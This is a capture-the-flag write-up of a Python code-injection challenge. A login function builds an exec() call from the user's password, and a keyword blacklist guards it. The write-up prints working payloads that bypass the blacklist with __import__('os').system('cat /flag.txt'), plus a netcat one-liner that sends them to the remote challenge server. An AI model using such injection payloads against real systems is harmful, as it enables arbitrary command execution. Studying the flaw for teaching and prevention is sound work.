- Published on
PCC CTF - Python Injection Challenge Writeup
- Authors
- Name
- Muhammad Huzaifa
PCC CTF - Misc-inject Writeup
Challenge Description
Challenge: Misc-inject
Description: inject some adrenaline into the arena!
Format: PCC{}
Connection: nc c1.arena.airoverflow.com 29106
Flag
PCC{`B4S1C_PYTH0N_INJ3CTI0N_WOrJpbSonSN`}
Initial Analysis
The challenge provides two files:
inject.py
- The main Python applicationDockerfile
- Container configuration
Let's examine the Python code to understand the vulnerability.
Code Analysis
Key Functions
validate_input()
- Basic input validation with a blacklistauthenticate_user()
- Contains the vulnerable code injection pointmain()
- Main application flow
The Vulnerability
The critical vulnerability is in the authenticate_user()
function at line 86:
def authenticate_user(username, password):
"""Authenticate user with enhanced feedback"""
print("\nš Verifying credentials...")
time.sleep(random.uniform(0.5, 1.5))
passwordCorrect = False
authenticated_user = None
for user in users:
try:
exec('if (username == user["username"]) and ("'+password+'" == user["password"]): passwordCorrect = True; authenticated_user = user')
except Exception as e:
print("Authentication system error occurred!")
print("Please try again...")
return False, None
return passwordCorrect, authenticated_user
The Problem: The password
variable is directly concatenated into the exec()
statement without proper sanitization or escaping. This allows for arbitrary Python code injection.
Input Validation Bypass
The validate_input()
function has a blacklist that blocks certain keywords:
blacklist = ["open", "eval", "exec", "compile"]
for word in blacklist:
if word in password.lower():
print("Access Denied: Suspicious input detected!")
print("Hint: Try a different approach...")
return False
However, this blacklist can be easily bypassed using alternative methods like __import__()
.
Exploitation Strategy
Step 1: Understanding the Exec Statement
The exec statement structure is:
exec('if (username == user["username"]) and ("'+password+'" == user["password"]): passwordCorrect = True; authenticated_user = user')
When we inject a password, it becomes:
exec('if (username == user["username"]) and ("[INJECTED_CODE]" == user["password"]): passwordCorrect = True; authenticated_user = user')
Step 2: Crafting the Payload
To successfully exploit this, we need to:
- Close the string properly
- Inject arbitrary code
- Ensure the condition evaluates to True (or bypass it entirely)
Final Payload:
") or (__import__("os").system("cat /flag.txt") or True) or ("
This payload:
- Closes the first string with
"
- Uses
or
to create an alternative condition - Executes
__import__("os").system("cat /flag.txt")
to read the flag - Uses
or True
to ensure the condition evaluates to True - Closes with another string to maintain syntax
Step 3: Bypassing the Blacklist
The blacklist blocks: open
, eval
, exec
, compile
We bypass this by using __import__("os").system()
instead of the blocked functions.
Exploitation Process
Local Testing
First, I tested the payload locally to ensure it worked:
python3 inject.py
# Input: admin
# Input: ") or (__import__("os").system("cat /flag.txt") or True) or ("
The local test showed the injection was working (though /flag.txt
didn't exist locally).
Remote Exploitation
Connected to the remote server and injected the payload:
echo -e "admin\n\") or (__import__(\"os\").system(\"cat /flag.txt\") or True) or (\"\n" | nc c1.arena.airoverflow.com 29106
Result: The flag was successfully extracted and displayed in the output.
Technical Details
Why This Works
- String Concatenation Vulnerability: The password is directly inserted into the exec statement without proper escaping
- Blacklist Bypass: Using
__import__()
instead of blocked functions - Condition Manipulation: Using
or
logic to ensure code execution regardless of authentication success
The Exec Statement Breakdown
Original:
exec('if (username == user["username"]) and ("'+password+'" == user["password"]): passwordCorrect = True; authenticated_user = user')
With our payload:
exec('if (username == user["username"]) and ("") or (__import__("os").system("cat /flag.txt") or True) or ("" == user["password"]): passwordCorrect = True; authenticated_user = user')
This evaluates to:
if (username == user["username"]) and (False) or (True) or (False): passwordCorrect = True; authenticated_user = user
Since or True
makes the entire condition True, the code executes successfully.
Prevention
To prevent this vulnerability:
- Never use
exec()
with user input - Use parameterized queries/prepared statements
- Implement proper input validation and sanitization
- Use safer alternatives like
ast.literal_eval()
if evaluation is necessary - Implement proper authentication mechanisms
Alternative Exploitation Methods
Other possible payloads:
") and (__import__("subprocess").run(["cat", "/flag.txt"]) or True) and ("
") or (print(open("/flag.txt").read()) or True) or ("
(if blacklist didn't exist)") or (__import__("os").popen("cat /flag.txt").read()) or True) or ("
Conclusion
This challenge demonstrates a classic Python code injection vulnerability where user input is directly inserted into an exec()
statement. The key lessons are:
- Never trust user input
- Blacklists are easily bypassed
- Use proper input validation and sanitization
- Avoid dangerous functions like
exec()
with user data
The flag PCC{
B4S1C_PYTH0N_INJ3CTI0N_WOrJpbSonSN}
confirms this was indeed a basic Python injection challenge.